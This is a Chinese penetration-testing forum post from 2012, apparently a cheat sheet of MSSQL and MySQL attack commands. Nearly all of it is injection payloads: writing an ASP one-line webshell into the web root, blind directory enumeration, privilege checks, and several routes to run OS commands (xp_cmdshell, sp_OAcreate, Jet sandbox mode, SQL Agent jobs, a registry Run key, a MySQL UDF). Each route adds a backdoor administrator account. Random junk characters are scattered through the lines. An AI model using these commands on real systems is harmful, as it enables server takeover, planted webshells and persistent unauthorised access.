中国网络渗透测试联盟

标题: mssql实用命令及导出一句话 [打印本页]

作者: admin    时间: 2012-9-13 17:49
标题: mssql实用命令及导出一句话
MSSQL语句导出一句话木马9 s) R5 E$ j, g& e: a' D
首先确定网站的WEB路径
" d: v7 O& i6 M5 w;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马" N8 k" d% ~& D7 y7 ~( a5 R

) ^% |7 ]3 j5 M;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- 4 ?! i9 z' U! N
//将一句话木马插入表中6 {5 M( m* V# H' O5 @8 U- Z( q

1 J( q9 L) j' S" H3 o: N: s# J;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
* B) Q: k& S8 t. O8 W- Y//导出一个ASP文件- b0 Y* W* |! U0 A% L! O

4 v! E; i5 U8 Y+ O9 J
) Z% z  f% ~* T6 N  F) o+ {关于MSSQL列目录
+ o- N' \! b( s* N/ j$ ~) @/ e;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
) P& m& S  m6 DInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表+ r0 r/ ]2 A9 a- j4 w5 L5 c5 y! m
% w; L/ ?3 J" b$ }! Y, j
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
9 h. V/ a9 F. N
( d6 c, z: L# EAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段( s, ~8 L( x7 {) c$ M. e" P

- o" h, T- R$ o0 {+ O! ]  FAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
7 u) D! U( k9 p" m- U. U7 x# K
; L: G0 c9 j1 ]- H3 k
/ H" `9 s$ e3 S4 U! @数据库版本和权限查看6 t" f5 T% f1 E- I0 y8 H3 `% O
and 1=(select @@VERSION) //查看详细的数据库信息.
4 T3 d* \4 @1 P! I! Vand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA7 C- z4 D6 m6 W$ F% J( o1 `9 Y: ]
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
5 k3 c- v* o" Z. A# d9 [
* _) v- q- @8 j- `# g3 w2 {8 J( h& \! ]8 M8 Q; S: g0 T
1.利用xp_cmdshell执行命令8 I% O% c5 c9 d- `4 p, Z0 c1 ?+ `
exec master..xp_cmdshell 'net user rfire 123456 /add'
2 P+ ~7 Z& `7 v) r% J) Q; v2 U! hexec master..xp_cmdshell 'net localgroup administrators rfire /add'
4 \1 x5 Z- X7 e0 B' g+ s" D  z+ d% @) ^- w3 G8 z$ J
恢复xp_cmdshell存储过程
7 e% }2 h. V" v, A: K: D& LExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'  h! `' ], i  j& b2 n9 ?) \

( ?6 E2 h  [$ S: o
% @! }  p  Q9 }, B" Y2.利用SP_OAcreate和SP_OAMETHOD执行命令* z# |- w* E5 f6 I  R: R' E4 T
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
* i% e5 D7 @, y, N4 h# w$ V1 NDECLARE @shell INT //建立一个@shell实体  `. U1 z1 ~2 E2 B- R
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
, G8 B. ~3 p- U- LEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例' W; K# @5 V9 _7 W
0 u/ ~6 G8 e( E0 i- n( ?& y' h
& j1 l7 d5 Y% I8 x
3.利用沙盒模式  N% u2 ?  u6 a% e6 m; Z
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。
$ v" f( |, M- r) h开启沙盒模式:  ^7 K1 [4 ]. E2 r
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
" \9 m( N) f) `. S6 d. j, \; B+ W# Z) G9 n. C
执行命令:9 ?. R1 ^7 H, R7 M* r
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
& V& m) r% V7 @. y1 j0 f. r4 b+ r. H0 F8 [# z( e
6 _! g+ s  H: ?! [9 A
4.利用SQL代理执行命令
$ @1 c2 w+ ?/ Z) `EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务# O! ?* e! v# V! A1 h6 g
8 A! q& o! M; G* {* C1 x* _
执行命令:' B2 R4 L# |" z, H0 P0 Y
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
0 e8 ]  v' S0 P6 C- uexec sp_add_job 'x'
9 B) t6 [' T! sexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业( O1 d: J' g/ Q& v! C. k4 ^8 I
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业* C/ d+ `/ V# V" o
5 H7 {3 b1 ~* D2 j9 M+ V0 Q
* B) b" D, V. b
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
3 z1 x/ F1 j* c" a3 ~  \4 x/ QEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'2 \3 H2 R! ]- q# u- S) k# P' S
7 K) t3 H) {4 Z) R! }7 Y" `3 m

; U1 r! W/ P5 {0 y4 p6.MYSQL的命令执行) t& p7 h- H$ a% m
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
6 t- ^( P7 Y: D* f1 N+ S  [: o首先要在su.php下导出c:\windows\udf.dll
* @( M* J1 o: n导出后执行创建自定义函数命令:4 t  k% |+ u' ]
Create Function cmdshell returns string soname 'udf.dll'
2 i7 U2 Z( [! \& H* @执行命令4 q) e7 a% G" a
select cmdshell('net user rfire 123456 /add')/ G5 N& S, ?- ?% s
执行后删除函数 drop function cmdshell' S% F6 D. u2 z" }5 [





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2